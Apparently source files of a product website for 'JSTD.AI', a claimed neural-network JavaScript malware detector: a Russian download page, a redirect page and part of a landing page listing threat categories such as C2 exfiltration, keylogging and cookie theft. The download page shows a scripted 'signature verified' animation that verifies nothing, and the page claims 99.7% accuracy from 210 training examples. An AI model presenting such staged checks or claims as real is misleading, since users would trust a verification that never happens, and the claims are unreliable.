class=\"page-dl\">\n        <div class=\"page-dl__grid\"></div>\n\n        <!-- icon -->\n        <div class=\"dl-icon\">\n            <div class=\"dl-icon__ring\"></div>\n            <div class=\"dl-icon__ring\"></div>\n            <div class=\"dl-icon__ring\"></div>\n            <svg viewBox=\"0 0 96 96\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                <path d=\"M48 6L10 23V46C10 68.09 26.862 87.5 48 90C69.138 87.5 86 68.09 86 46V23L48 6Z\" stroke=\"#00d4ff\" stroke-width=\"2\" fill=\"rgba(0,212,255,.05)\" />\n                <path d=\"M48 28V52M48 52L36 40M48 52L60 40\" stroke=\"#00ff88\" stroke-width=\"3\" stroke-linecap=\"square\" />\n                <path d=\"M32 62H64\" stroke=\"#00ff88\" stroke-width=\"3\" stroke-linecap=\"square\" />\n            </svg>\n        </div>\n\n        <!-- label -->\n        <div class=\"dl-label\">\n            <span class=\"dl-label__dot\"></span> <span data-i18n=\"dl.label\">ИНИЦИАЛИЗАЦИЯ ЗАГРУЗКИ</span>\n        </div>\n\n        <!-- title -->\n        <h1 class=\"dl-title\" data-i18n-html=\"dl.title_html\">Спасибо за&nbsp;загрузку<em>!</em></h1>\n\n        <!-- sub -->\n        <p class=\"dl-sub\" data-i18n-html=\"dl.sub\">\n            Файл <strong>jstd-ai.zip</strong> автоматически скачается на ваш компьютер через несколько секунд. Если ничего не происходит — воспользуйтесь прямой ссылкой ниже.\n        </p>\n\n        <!-- progress -->\n        <div class=\"dl-progress\">\n            <div class=\"dl-progress__track\">\n                <div class=\"dl-progress__fill\"></div>\n            </div>\n            <div class=\"dl-progress__label\">\n                <span>jstd-ai.zip</span>\n                <span>&lt;1 MB</span>\n            </div>\n        </div>\n\n        <!-- countdown -->\n        <p class=\"dl-countdown\"><span data-i18n=\"dl.cd_before\">Загрузка начнётся через</span> <span id=\"cdNum\">3</span> <span data-i18n=\"dl.cd_after\">сек…</span></p>\n\n        <!-- terminal -->\n        <div class=\"dl-terminal\">\n            <div class=\"dl-terminal__bar\">\n                <div class=\"dl-terminal__dot\"></div>\n                <div class=\"dl-terminal__dot\"></div>\n                <div class=\"dl-terminal__dot\"></div>\n            </div>\n            <div class=\"dl-terminal__body\">\n                <div class=\"t-dim\">$ jstd download --version latest</div>\n                <div id=\"tLine1\" style=\"display:none\"><span class=\"t-dim\" data-i18n=\"dl.tl1\"> ↓ проверка подписи…</span></div>\n                <div id=\"tLine2\" style=\"display:none\"><span class=\"t-ok\" data-i18n=\"dl.tl2\"> ✓ подпись верна · SHA-256 совпадает</span></div>\n                <div id=\"tLine3\" style=\"display:none\"><span class=\"t-dim\" data-i18n=\"dl.tl3\"> ↓ передача файла браузеру…</span></div>\n                <div id=\"tLine4\" style=\"display:none\"><span class=\"t-ok\" data-i18n=\"dl.tl4\"> ✓ загрузка началась</span></div>\n                <div><span class=\"t-dim\">$ <span class=\"t-cur\"></span></span>\n                </div>\n            </div>\n        </div>\n\n        <!-- manual link -->\n        <p class=\"dl-manual\">\n            <span data-i18n=\"dl.manual_q\">Скачивание не началось?</span>\n            <a href=\"./jstd-ai.zip\" id=\"manualLink\" data-i18n=\"dl.manual_lnk\">Нажмите здесь</a>\n        </p>\n\n        <!-- specs -->\n        <div class=\"dl-specs\">\n            <div class=\"spec\">\n                <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\">\n                    <path d=\"M7 1L1 3.5V7C1 10.314 3.686 13 7 13C10.314 13 13 10.314 13 7V3.5L7 1Z\" stroke=\"#00ff88\" stroke-width=\"1\" />\n                </svg> Windows 7+\n            </div>\n            <div class=\"spec\">\n                <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\">\n                    <circle cx=\"7\" cy=\"7\" r=\"5.5\" stroke=\"#00d4ff\" stroke-width=\"1\" />\n                    <path d=\"M4.5 7L6.5 9L9.5 5\" stroke=\"#00d4ff\" stroke-width=\"1.2\" stroke-linecap=\"square\" />\n                </svg> .NET Framework 4.7.2\n            </div>\n            <div class=\"spec\">\n                <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\">\n                    <rect x=\"1.5\" y=\"1.5\" width=\"11\" height=\"11\" stroke=\"#a78bfa\" stroke-width=\"1\" />\n                    <path d=\"M4.5 7H9.5M7 4.5V9.5\" stroke=\"#a78bfa\" stroke-width=\"1\" stroke-linecap=\"square\" />\n                </svg> <span data-i18n=\"dl.spec3\">~4 MB установщик</span>\n            </div>\n            <div class=\"spec\">\n                <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\">\n                    <path d=\"M2.5 7L5.5 10L11.5 4\" stroke=\"#00ff88\" stroke-width=\"1.4\" stroke-linecap=\"square\" />\n                </svg> <span data-i18n=\"dl.spec4\">Без интернета</span>\n            </div>\n        </div>\n    </main>\n\n    <!-- ░░ FOOTER ░░ -->\n    <footer class=\"footer\">\n        <div class=\"container\">\n            <div class=\"footer__inner\">\n                <div class=\"footer__brand\">\n                    <a href=\"/\" class=\"nav__logo\">\n                        <svg width=\"28\" height=\"28\" viewBox=\"0 0 32 32\" fill=\"none\">\n                            <path d=\"M16 2L4 7.5V16C4 22.627 9.373 28 16 28C22.627 28 28 22.627 28 16V7.5L16 2Z\" stroke=\"#00d4ff\" stroke-width=\"1.5\" fill=\"none\" />\n                            <path d=\"M16 7L9 10.25V16C9 19.866 12.134 23 16 23C19.866 23 23 19.866 23 16V10.25L16 7Z\" fill=\"#00d4ff\" fill-opacity=\"0.12\" stroke=\"#00d4ff\" stroke-width=\"1\" />\n                            <path d=\"M13 16L15.5 18.5L20 13\" stroke=\"#00d4ff\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                        </svg>\n                        <span class=\"nav__logo-text\">JSTD<span class=\"brand-accent\">.AI</span></span>\n                    </a>\n                    <p data-i18n-html=\"footer.brand_p\">Проприетарная нейросетевая система<br />детекции угроз в JavaScript-коде.</p>\n                    <p class=\"footer__copy\" data-i18n=\"footer.copy_short\">© 2026 JSTD.AI. Все права защищены.</p>\n                </div>\n                <div class=\"footer__cols\">\n                    <div class=\"footer__col\">\n                        <div class=\"footer__col-title\" data-i18n=\"footer.col1_title\">Продукт</div>\n                        <a href=\"/#cta\" data-i18n=\"footer.col1_1\">Скачать</a>\n                        <a href=\"/#docs\" data-i18n=\"footer.col1_2\">Документация</a>\n                        <a href=\"/#testimonials\" data-i18n=\"nav.testimonials\">Отзывы</a>\n                    </div>\n                </div>\n            </div>\n            <div class=\"footer__bottom\">\n                <span>Built with neural precision. Zero telemetry. Zero cloud.</span>\n                <div class=\"footer__badges\">\n                    <span class=\"footer__badge\">\n                        <svg width=\"12\" height=\"12\" viewBox=\"0 0 12 12\" fill=\"none\">\n                            <path d=\"M6 1L1 3.5V6C1 8.761 3.239 11 6 11C8.761 11 11 8.761 11 6V3.5L6 1Z\" stroke=\"#00ff88\" stroke-width=\"1\" />\n                        </svg>\n                        Offline-first\n                    </span>\n                    <span class=\"footer__badge\">\n                        <svg width=\"12\" height=\"12\" viewBox=\"0 0 12 12\" fill=\"none\">\n                            <path d=\"M2 6L5 9L10 3\" stroke=\"#00d4ff\" stroke-width=\"1.2\" stroke-linecap=\"square\" />\n                        </svg>\n                        No telemetry\n                    </span>\n                </div>\n            </div>\n        </div>\n        <img class=\"footer-cat\" src=\"../flexing-cat.gif\" alt=\"\" aria-hidden=\"true\">\n    </footer>\n\n    <script src=\"../app/i18n.js\"></script>\n    <script src=\"../app/main.js\"></script>\n    <script>\n        /* ── countdown ── */\n        let n = 3;\n        const cdNum = document.getElementById('cdNum');\n        const lines = ['tLine1', 'tLine2', 'tLine3', 'tLine4'];\n        let lineIdx = 0;\n\n        function showNextLine() {\n            if (lineIdx < lines.length) {\n                document.getElementById(lines[lineIdx]).style.display = '';\n                lineIdx++;\n            }\n        }\n\n        showNextLine();\n\n        const timer = setInterval(() => {\n            n--;\n            cdNum.textContent = n;\n            showNextLine();\n            if (n <= 0) {\n                clearInterval(timer);\n                cdNum.textContent = '0';\n                showNextLine();\n            }\n        }, 1000);\n    </script>\n</body>\n\n</html>"
  },
  {
    "path": "legacy_tandem/viewer/works/example-jstd/en/index.html",
    "content": "﻿<!DOCTYPE html>\n<html lang=\"en\" translate=\"no\">\n\n<head>\n    <meta charset=\"UTF-8\" />\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n    <meta http-equiv=\"refresh\" content=\"0; url=https://jstd.su/\" />\n    <meta name=\"robots\" content=\"noindex, follow\" />\n    <meta name=\"google\" content=\"notranslate\" />\n\n    <title>JSTD.AI — Neural JavaScript Threat Detection (EN)</title>\n    <meta name=\"description\" content=\"Neural network model 50→30→1 analyzes JavaScript for obfuscation, malicious constructs and malware in milliseconds. 99.7% accuracy. No GPU, no cloud.\" />\n\n    <link rel=\"canonical\" href=\"https://jstd.su/\" />\n    <link rel=\"alternate\" hreflang=\"en\" href=\"https://jstd.su/en/\" />\n    <link rel=\"alternate\" hreflang=\"ru\" href=\"https://jstd.su/ru/\" />\n    <link rel=\"alternate\" hreflang=\"x-default\" href=\"https://jstd.su/\" />\n\n    <meta property=\"og:type\" content=\"website\" />\n    <meta property=\"og:site_name\" content=\"JSTD.AI\" />\n    <meta property=\"og:title\" content=\"JSTD.AI — Neural JavaScript Threat Detection\" />\n    <meta property=\"og:description\" content=\"Neural network model 50→30→1 analyzes any JavaScript for obfuscation, malicious constructs and malware in milliseconds. No GPU, no cloud required.\" />\n    <meta property=\"og:url\" content=\"https://jstd.su/\" />\n    <meta property=\"og:image\" content=\"https://jstd.su/favicon.png\" />\n    <meta property=\"og:locale\" content=\"en_US\" />\n\n    <meta name=\"twitter:card\" content=\"summary\" />\n    <meta name=\"twitter:title\" content=\"JSTD.AI — Neural JavaScript Threat Detection\" />\n    <meta name=\"twitter:description\" content=\"Neural network model 50→30→1 analyzes any JavaScript for obfuscation, malicious constructs and malware in milliseconds. No GPU, no cloud required.\" />\n    <meta name=\"twitter:image\" content=\"https://jstd.su/favicon.png\" />\n    <link rel=\"icon\" type=\"image/png\" href=\"/favicon.png\" />\n    <link rel=\"shortcut icon\" type=\"image/png\" href=\"/favicon.png\" />\n    <meta name=\"author\" content=\"JSTD.AI\" />\n    <meta name=\"theme-color\" content=\"#0a0e1a\" />\n</head>\n\n<body>\n    <noscript>\n        <meta http-equiv=\"refresh\" content=\"0; url=/\" />\n        <p>Redirecting… <a href=\"/\">Click here if not redirected automatically.</a></p>\n    </noscript>\n    <script>\n        localStorage.setItem('jstd_lang', 'en');\n        window.location.replace('/');\n    </script>\n</body>\n\n</html>\n\n</html>"
  },
  {
    "path": "legacy_tandem/viewer/works/example-jstd/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"ru\" translate=\"no\">\n\n<head>\n    <meta charset=\"UTF-8\" />\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n    <script>\n        ! function () {\n            var l = localStorage.getItem('jstd_lang') || (navigator.language || '').slice(0, 2);\n            if (l !== 'ru') document.documentElement.classList.add('lang-loading');\n        }();\n    </script>\n    <title>JSTD.AI — Neural JavaScript Threat Detection</title>\n    <meta name=\"google\" content=\"notranslate\" />\n    <meta name=\"robots\" content=\"index, follow\" />\n    <meta name=\"description\" content=\"Нейросетевая модель 50→30→1 анализирует JavaScript на обфускацию, вредоносные конструкции и зловреды за миллисекунды. Точность 99.7%. Без GPU и облака.\" />\n    <meta name=\"keywords\" content=\"JavaScript security, malware detection, obfuscation detection, JS threat analysis, neural network security, JSTD.AI\" />\n    <link rel=\"canonical\" href=\"https://jstd.su/\" />\n    <link rel=\"alternate\" hreflang=\"ru\" href=\"https://jstd.su/\" />\n    <link rel=\"alternate\" hreflang=\"en\" href=\"https://jstd.su/en/\" />\n    <link rel=\"alternate\" hreflang=\"x-default\" href=\"https://jstd.su/\" />\n    <link rel=\"icon\" type=\"image/png\" href=\"/favicon.png\" />\n    <link rel=\"shortcut icon\" type=\"image/png\" href=\"favicon.png\" />\n    <meta name=\"author\" content=\"JSTD.AI\" />\n    <meta name=\"theme-color\" content=\"#0a0e1a\" />\n    <meta property=\"og:type\" content=\"website\" />\n    <meta property=\"og:site_name\" content=\"JSTD.AI\" />\n    <meta property=\"og:title\" content=\"JSTD.AI — Neural JavaScript Threat Detection\" />\n    <meta property=\"og:description\" content=\"Нейросетевая модель 50→30→1 для анализа JavaScript на угрозы, обфускацию и зловреды. Точность 99.7%. Без GPU и облака.\" />\n    <meta property=\"og:url\" content=\"https://jstd.su/\" />\n    <meta property=\"og:image\" content=\"https://jstd.su/favicon.png\" />\n    <meta property=\"og:image:width\" content=\"512\" />\n    <meta property=\"og:image:height\" content=\"512\" />\n    <meta property=\"og:locale\" content=\"ru_RU\" />\n    <meta name=\"twitter:card\" content=\"summary\" />\n    <meta name=\"twitter:title\" content=\"JSTD.AI — Neural JavaScript Threat Detection\" />\n    <meta name=\"twitter:description\" content=\"Нейросетевая модель 50→30→1 для анализа JavaScript на угрозы, обфускацию и зловреды. Точность 99.7%. Без GPU и облака.\" />\n    <meta name=\"twitter:image\" content=\"https://jstd.su/favicon.png\" />\n    <link rel=\"stylesheet\" href=\"styles/main.css\" />\n    <link rel=\"preconnect\" href=\"https://fonts.googleapis.com\" />\n    <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin />\n    <link href=\"https://fonts.googleapis.com/css2?family=Space+Grotesk:wght@300;400;500;600;700&family=Space+Mono:wght@400;700&display=swap\" rel=\"stylesheet\" />\n</head>\n\n<body>\n\n    <!-- ░░ CANVAS STARFIELD ░░ -->\n    <canvas id=\"starfield\"></canvas>\n\n    <!-- ░░ NAV ░░ -->\n    <nav class=\"nav\">\n        <div class=\"nav__inner\">\n            <a href=\"#\" class=\"nav__logo\">\n                <svg width=\"32\" height=\"32\" viewBox=\"0 0 32 32\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\" aria-hidden=\"true\">\n                    <path d=\"M16 2L4 7.5V16C4 22.627 9.373 28 16 28C22.627 28 28 22.627 28 16V7.5L16 2Z\" stroke=\"#00d4ff\" stroke-width=\"1.5\" fill=\"none\" />\n                    <path d=\"M16 7L9 10.25V16C9 19.866 12.134 23 16 23C19.866 23 23 19.866 23 16V10.25L16 7Z\" fill=\"#00d4ff\" fill-opacity=\"0.12\" stroke=\"#00d4ff\" stroke-width=\"1\" />\n                    <path d=\"M13 16L15.5 18.5L20 13\" stroke=\"#00d4ff\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                    <circle cx=\"16\" cy=\"16\" r=\"1.5\" fill=\"#00d4ff\" />\n                </svg>\n                <span class=\"nav__logo-text\">JSTD<span class=\"brand-accent\">.AI</span></span>\n            </a>\n            <ul class=\"nav__links\">\n                <li><a href=\"#how-it-works\" data-i18n=\"nav.how\">Принцип работы</a></li>\n                <li><a href=\"#algorithms\" data-i18n=\"nav.algorithms\">Алгоритмы</a></li>\n                <li><a href=\"#docs\" data-i18n=\"nav.docs\">Документация</a></li>\n                <li><a href=\"#testimonials\" data-i18n=\"nav.testimonials\">Отзывы</a></li>\n                <li><a href=\"#cta\" class=\"nav__cta-link\" data-i18n=\"nav.try\">Попробовать</a></li>\n                <li class=\"nav__lang-switch\">\n                    <button class=\"lang-btn\" data-lang-switch=\"ru\">RU</button>\n                    <span class=\"lang-sep\">/</span>\n                    <button class=\"lang-btn\" data-lang-switch=\"en\">EN</button>\n                </li>\n            </ul>\n            <button class=\"nav__burger\" id=\"navBurger\" aria-label=\"Меню\">\n                <svg width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" fill=\"none\">\n                    <path d=\"M3 6H21M3 12H21M3 18H21\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                </svg>\n            </button>\n        </div>\n    </nav>\n\n    <!-- ░░ HERO ░░ -->\n    <section class=\"hero\" id=\"hero\">\n        <div class=\"hero__grid-overlay\"></div>\n        <div class=\"hero__content\">\n            <div class=\"hero__badge\">\n                <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\">\n                    <circle cx=\"7\" cy=\"7\" r=\"3\" fill=\"#00ff88\" />\n                    <circle cx=\"7\" cy=\"7\" r=\"6\" stroke=\"#00ff88\" stroke-width=\"1\" opacity=\"0.4\" />\n                </svg> <span data-i18n=\"hero.badge\">Neural Analysis Engine v3.1 — Активен</span>\n            </div>\n            <h1 class=\"hero__headline\" data-i18n-html=\"hero.headline_html\">\n                Уязвимости в коде видны до того, как они\n                <span class=\"cracked-word\" data-text=\"взорвутся\">взорвутся</span>\n            </h1>\n            <p class=\"hero__sub\" data-i18n-html=\"hero.sub\">\n                Проприетарная нейросетевая модель <strong>50→30→1</strong> анализирует любой JavaScript на обфускацию, вредоносные конструкции и вшитые зловреды за миллисекунды. Работает на слабом железе. Не требует облака.\n            </p>\n            <div class=\"hero__actions\">\n                <a href=\"#cta\" class=\"btn btn--primary\">\n                    <svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\">\n                        <path d=\"M2 8H14M9 3L14 8L9 13\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                    </svg> <span data-i18n=\"hero.cta_primary\">Начать анализ</span>\n                </a>\n                <a href=\"#how-it-works\" class=\"btn btn--ghost\">\n                    <svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\">\n                        <circle cx=\"8\" cy=\"8\" r=\"6\" stroke=\"currentColor\" stroke-width=\"1.5\" />\n                        <path d=\"M8 5V9M8 11V11.5\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                    </svg> <span data-i18n=\"hero.cta_secondary\">Как это работает</span>\n                </a>\n            </div>\n            <div class=\"hero__stats\">\n                <div class=\"stat-pill\">\n                    <div class=\"stat-pill__value\">\n                        <span class=\"stat-pill__num\" data-count=\"99.7\">0</span><span class=\"stat-pill__unit\">%</span>\n                    </div>\n                    <span class=\"stat-pill__label\" data-i18n=\"hero.stat1\">Точность детекции</span>\n                </div>\n                <div class=\"stat-pill\">\n                    <div class=\"stat-pill__value\">\n                        <span class=\"stat-pill__num\" data-count=\"1561\">0</span>\n                    </div>\n                    <span class=\"stat-pill__label\" data-i18n=\"hero.stat2\">параметров модели</span>\n                </div>\n                <div class=\"stat-pill\">\n                    <div class=\"stat-pill__value\">\n                        <span class=\"stat-pill__num\" data-count=\"50\">0</span>\n                    </div>\n                    <span class=\"stat-pill__label\" data-i18n=\"hero.stat3\">признаков кода</span>\n                </div>\n                <div class=\"stat-pill\">\n                    <div class=\"stat-pill__value\">\n                        <span class=\"stat-pill__num stat-pill__num--static\">&lt;&thinsp;1</span><span class=\"stat-pill__unit\">ms</span>\n                    </div>\n                    <span class=\"stat-pill__label\" data-i18n=\"hero.stat4\">без GPU</span>\n                </div>\n            </div>\n        </div>\n        <div class=\"hero__visual\">\n            <div class=\"threat-card\" id=\"heroThreatCard\">\n                <div class=\"threat-card__header\">\n                    <svg width=\"18\" height=\"18\" viewBox=\"0 0 18 18\" fill=\"none\">\n                        <path d=\"M9 1L1 5V10C1 13.866 4.686 17 9 17C13.314 17 17 13.866 17 10V5L9 1Z\" stroke=\"currentColor\" stroke-width=\"1.3\" />\n                        <path d=\"M9 6V10M9 12.5V13\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                    </svg>\n                    <span id=\"heroThreatLabel\">SAFE</span>\n                    <span class=\"threat-card__score\" id=\"heroScore\">0.00%</span>\n                </div>\n                <div class=\"threat-card__code\" id=\"heroCode\"></div>\n                <div class=\"threat-card__rules\">\n                    <div class=\"rule-item rule-item--high\" id=\"heroRule0\">\n                        <span class=\"rule-dot\"></span>DOM prototype hijack<span class=\"rule-pct\" id=\"heroRulePct0\">0%</span>\n                    </div>\n                    <div class=\"rule-item rule-item--high\" id=\"heroRule1\">\n                        <span class=\"rule-dot\"></span>C2 data exfiltration<span class=\"rule-pct\" id=\"heroRulePct1\">0%</span>\n                    </div>\n                    <div class=\"rule-item rule-item--high\" id=\"heroRule2\">\n                        <span class=\"rule-dot\"></span>Keystroke logging<span class=\"rule-pct\" id=\"heroRulePct2\">0%</span>\n                    </div>\n                    <div class=\"rule-item rule-item--med\" id=\"heroRule3\">\n                        <span class=\"rule-dot\"></span>Supply chain injection<span class=\"rule-pct\" id=\"heroRulePct3\">0%</span>\n                    </div>\n                </div>\n                <div class=\"threat-card__bar\">\n                    <div class=\"threat-card__bar-fill\" id=\"heroBarFill\" style=\"width:0%\"></div>\n                </div>\n            </div>\n        </div>\n        <div class=\"hero__scroll-hint\" aria-hidden=\"true\">\n            <svg width=\"22\" height=\"22\" viewBox=\"0 0 22 22\" fill=\"none\">\n                <path d=\"M11 3V17M5 11L11 17L17 11\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n            </svg>\n        </div>\n    </section>\n\n    <!-- ░░ MARQUEE STRIP ░░ -->\n    <div class=\"marquee-strip\">\n        <div class=\"marquee-track\">\n            <span data-i18n=\"mq.obfusc\">Обфускация</span><span class=\"sep\">✦</span>\n            <span data-i18n=\"mq.cookie\">Кража cookies</span><span class=\"sep\">✦</span>\n            <span data-i18n=\"mq.eval\">eval() инъекции</span><span class=\"sep\">✦</span>\n            <span data-i18n=\"mq.keylog\">Кейлоггеры</span><span class=\"sep\">✦</span>\n            <span>Prototype Pollution</span><span class=\"sep\">✦</span>\n            <span>Base64 + eval</span><span class=\"sep\">✦</span>\n            <span>Hidden iframes</span><span class=\"sep\">✦</span>\n            <span>WebSocket exfiltration</span><span class=\"sep\">✦</span>\n            <span data-i18n=\"mq.miners\">Скрытые майнеры</span><span class=\"sep\">✦</span>\n            <span data-i18n=\"mq.xss\">XSS векторы</span><span class=\"sep\">✦</span>\n            <span>Remote script injection</span><span class=\"sep\">✦</span>\n            <span>Function constructor abuse</span><span class=\"sep\">✦</span>\n\n            <span data-i18n=\"mq.obfusc\">Обфускация</span><span class=\"sep\">✦</span>\n            <span data-i18n=\"mq.cookie\">Кража cookies</span><span class=\"sep\">✦</span>\n            <span data-i18n=\"mq.eval\">eval() инъекции</span><span class=\"sep\">✦</span>\n            <span data-i18n=\"mq.keylog\">Кейлоггеры</span><span class=\"sep\">✦</span>\n            <span>Prototype Pollution</span><span class=\"sep\">✦</span>\n            <span>Base64 + eval</span><span class=\"sep\">✦</span>\n            <span>Hidden iframes</span><span class=\"sep\">✦</span>\n            <span>WebSocket exfiltration</span><span class=\"sep\">✦</span>\n            <span data-i18n=\"mq.miners\">Скрытые майнеры</span><span class=\"sep\">✦</span>\n            <span data-i18n=\"mq.xss\">XSS векторы</span><span class=\"sep\">✦</span>\n            <span>Remote script injection</span><span class=\"sep\">✦</span>\n            <span>Function constructor abuse</span><span class=\"sep\">✦</span>\n        </div>\n    </div>\n\n    <!-- ░░ HOW IT WORKS ░░ -->\n    <section class=\"section\" id=\"how-it-works\">\n        <div class=\"container\">\n            <div class=\"section__label\" data-i18n=\"hiw.label\">Принцип работы</div>\n            <h2 class=\"section__title\" data-i18n-html=\"hiw.title_html\">\n                Нейросеть видит то, что<br />не видит человек\n            </h2>\n            <p class=\"section__desc\" data-i18n=\"hiw.desc\">\n                JSTD.AI использует трёхэтапный конвейер анализа: извлечение признаков → нейронная сеть → эвристические правила. Каждый этап усиливает следующий — итоговая оценка невозможна без консенсуса всех трёх.\n            </p>\n\n            <div class=\"pipeline\">\n                <div class=\"pipeline__step\" data-step=\"01\">\n                    <div class=\"pipeline__icon\">\n                        <svg width=\"32\" height=\"32\" viewBox=\"0 0 32 32\" fill=\"none\">\n                            <rect x=\"4\" y=\"2\" width=\"24\" height=\"28\" stroke=\"#00d4ff\" stroke-width=\"1.3\" />\n                            <path d=\"M9 8H23M9 13H23M9 18H17\" stroke=\"#00d4ff\" stroke-width=\"1.3\" stroke-linecap=\"square\" />\n                            <circle cx=\"22\" cy=\"22\" r=\"5\" fill=\"#050810\" stroke=\"#00ff88\" stroke-width=\"1.3\" />\n                            <path d=\"M20 22L21.5 23.5L24 21\" stroke=\"#00ff88\" stroke-width=\"1.2\" stroke-linecap=\"square\" />\n                        </svg>\n                    </div>\n                    <h3 data-i18n=\"hiw.s1_h3\">Загрузка файла</h3>\n                    <p data-i18n=\"hiw.s1_p\">JS-файл читается как текст целиком. Никакой передачи в облако — всё локально. Поддержка минифицированного, обфусцированного, многострочного кода.</p>\n                </div>\n                <div class=\"pipeline__arrow\">\n                    <svg width=\"40\" height=\"16\" viewBox=\"0 0 40 16\" fill=\"none\">\n                        <path d=\"M0 8H36M31 3L37 8L31 13\" stroke=\"#00d4ff\" stroke-width=\"1.3\" stroke-linecap=\"square\" />\n                    </svg>\n                </div>\n                <div class=\"pipeline__step\" data-step=\"02\">\n                    <div class=\"pipeline__icon\">\n                        <svg width=\"32\" height=\"32\" viewBox=\"0 0 32 32\" fill=\"none\">\n                            <rect x=\"2\" y=\"6\" width=\"12\" height=\"20\" stroke=\"#a78bfa\" stroke-width=\"1.3\" />\n                            <rect x=\"18\" y=\"6\" width=\"12\" height=\"20\" stroke=\"#a78bfa\" stroke-width=\"1.3\" />\n                            <path d=\"M14 16H18M11 10H17M11 22H17\" stroke=\"#a78bfa\" stroke-width=\"1.3\" stroke-linecap=\"square\" />\n                            <path d=\"M6 11H10M6 16H10M6 21H10\" stroke=\"#a78bfa\" stroke-width=\"1\" opacity=\".6\" />\n                            <path d=\"M22 11H26M22 16H26M22 21H26\" stroke=\"#a78bfa\" stroke-width=\"1\" opacity=\".6\" />\n                        </svg>\n                    </div>\n                    <h3 data-i18n=\"hiw.s2_h3\">Извлечение 50 признаков</h3>\n                    <p data-i18n=\"hiw.s2_p\">Нормализованные метрики: частота опасных конструкций, энтропия Шеннона, уровень обфускации, плотность Base64, соотношение комментариев и многое другое.</p>\n                </div>\n                <div class=\"pipeline__arrow\">\n                    <svg width=\"40\" height=\"16\" viewBox=\"0 0 40 16\" fill=\"none\">\n                        <path d=\"M0 8H36M31 3L37 8L31 13\" stroke=\"#00d4ff\" stroke-width=\"1.3\" stroke-linecap=\"square\" />\n                    </svg>\n                </div>\n                <div class=\"pipeline__step\" data-step=\"03\">\n                    <div class=\"pipeline__icon\">\n                        <svg width=\"32\" height=\"32\" viewBox=\"0 0 32 32\" fill=\"none\">\n                            <circle cx=\"4\" cy=\"8\" r=\"2.5\" stroke=\"#00d4ff\" stroke-width=\"1.2\" />\n                            <circle cx=\"4\" cy=\"16\" r=\"2.5\" stroke=\"#00d4ff\" stroke-width=\"1.2\" />\n                            <circle cx=\"4\" cy=\"24\" r=\"2.5\" stroke=\"#00d4ff\" stroke-width=\"1.2\" />\n                            <circle cx=\"16\" cy=\"6\" r=\"2.5\" stroke=\"#a78bfa\" stroke-width=\"1.2\" />\n                            <circle cx=\"16\" cy=\"14\" r=\"2.5\" stroke=\"#a78bfa\" stroke-width=\"1.2\" />\n                            <circle cx=\"16\" cy=\"22\" r=\"2.5\" stroke=\"#a78bfa\" stroke-width=\"1.2\" />\n                            <circle cx=\"28\" cy=\"16\" r=\"2.5\" stroke=\"#00ff88\" stroke-width=\"1.2\" />\n                            <path d=\"M6.5 8.5L13.5 6.5M6.5 9L13.5 14M6.5 16L13.5 14M6.5 16L13.5 22M6.5 23.5L13.5 22\" stroke=\"#334155\" stroke-width=\"1\" opacity=\".7\" />\n                            <path d=\"M18.5 6.5L25.5 15.5M18.5 14L25.5 16M18.5 22L25.5 16.5\" stroke=\"#334155\" stroke-width=\"1\" opacity=\".7\" />\n                        </svg>\n                    </div>\n                    <h3 data-i18n=\"hiw.s3_h3\">Нейронная сеть 50→30→1</h3>\n                    <p data-i18n-html=\"hiw.s3_p\">1561 обученный параметр. Архитектура MLP с ReLU-активацией. Обучена на 210 размеченных примерах. Точность — 99.7%. Работает без GPU за &lt;1 мс.</p>\n                </div>\n                <div class=\"pipeline__arrow\">\n                    <svg width=\"40\" height=\"16\" viewBox=\"0 0 40 16\" fill=\"none\">\n                        <path d=\"M0 8H36M31 3L37 8L31 13\" stroke=\"#00d4ff\" stroke-width=\"1.3\" stroke-linecap=\"square\" />\n                    </svg>\n                </div>\n                <div class=\"pipeline__step\" data-step=\"04\">\n                    <div class=\"pipeline__icon\">\n                        <svg width=\"32\" height=\"32\" viewBox=\"0 0 32 32\" fill=\"none\">\n                            <path d=\"M4 4H14V14H4V4Z\" stroke=\"#ff3366\" stroke-width=\"1.3\" />\n                            <path d=\"M18 4H28V14H18V4Z\" stroke=\"#ff3366\" stroke-width=\"1.3\" opacity=\".5\" />\n                            <path d=\"M4 18H14V28H4V18Z\" stroke=\"#ff3366\" stroke-width=\"1.3\" opacity=\".5\" />\n                            <path d=\"M18 18H28V28H18V18Z\" stroke=\"#ff3366\" stroke-width=\"1.3\" />\n                            <path d=\"M7 9H11M21 9H25M7 23H11M21 23H25\" stroke=\"#ff3366\" stroke-width=\"1.3\" stroke-linecap=\"square\" />\n                        </svg>\n                    </div>\n                    <h3 data-i18n=\"hiw.s4_h3\">Эвристические правила</h3>\n                    <p data-i18n=\"hiw.s4_p\">42 паттерна угроз, включая комбинированные сценарии. Детектирует сигнатуры кража-cookie, кейлоггеры, внедрение iframe и цепочки обфускации.</p>\n                </div>\n            </div>\n        </div>\n    </section>\n\n    <!-- ░░ ALGORITHMS ░░ -->\n    <section class=\"section section--dark\" id=\"algorithms\">\n        <div class=\"container\">\n            <div class=\"section__label\" data-i18n=\"algo.label\">Алгоритмы</div>\n            <h2 class=\"section__title\" data-i18n-html=\"algo.title_html\">Архитектура, которая<br />не даёт шансов</h2>\n\n            <div class=\"algo-grid\">\n\n                <!-- Neural Net Diagram -->\n         